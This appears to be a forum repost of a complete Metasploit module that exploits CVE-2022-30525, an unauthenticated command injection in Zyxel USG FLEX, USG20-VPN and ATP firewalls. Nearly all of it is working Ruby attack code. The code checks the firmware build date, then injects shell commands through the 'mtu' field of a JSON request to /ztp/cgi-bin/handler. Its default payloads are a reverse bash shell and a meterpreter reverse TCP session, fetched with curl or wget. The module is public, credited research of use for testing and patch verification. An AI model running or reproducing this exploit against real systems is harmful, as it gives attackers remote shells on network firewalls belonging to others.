Kev Posted May 17, 2022 Report Posted May 17, 2022 This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection', 'Description' => %q{ This module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2022-30525' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/'] ], 'DisclosureDate' => '2022-04-28', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPS64,], 'Privileged' => false, 'Targets' => [ [ 'Shell Dropper', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_MIPS64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'curl', 'wget' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end # Checks the build date that is embedded in the landing page. If it finds a build # date older than April 20, 2022 then it will additionally check if the model is # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this # seems like a reasonable approach. def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /') end ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if ver[0..5].to_i < 220420 model = res.get_html_document.xpath('//title').text if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN')) return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}") end end CheckCode::Safe("This determination is based on the build date string: #{ver}.") end def execute_command(cmd, _opts = {}) handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler') print_status("Sending command to #{handler_uri}") # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too # but it's more involved. http_payload = { 'command' => 'setWanPortSt', 'proto' => 'dhcp', 'port' => Rex::Text.rand_text_numeric(4).to_s, 'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s, 'vlanid' => Rex::Text.rand_text_numeric(4).to_s, 'mtu' => ";#{cmd};", 'data' => '' } res = send_request_cgi({ 'method' => 'POST', 'uri' => handler_uri, 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, 'data' => http_payload.to_json }) # Successful exploitation can result in no response (connection being held open by a reverse shell) # or, if the command executes immediately, a response with a 503. if res && res.code != 503 fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.") end print_good('Command successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end # 0day.today [2022-05-17] # Source 1 Quote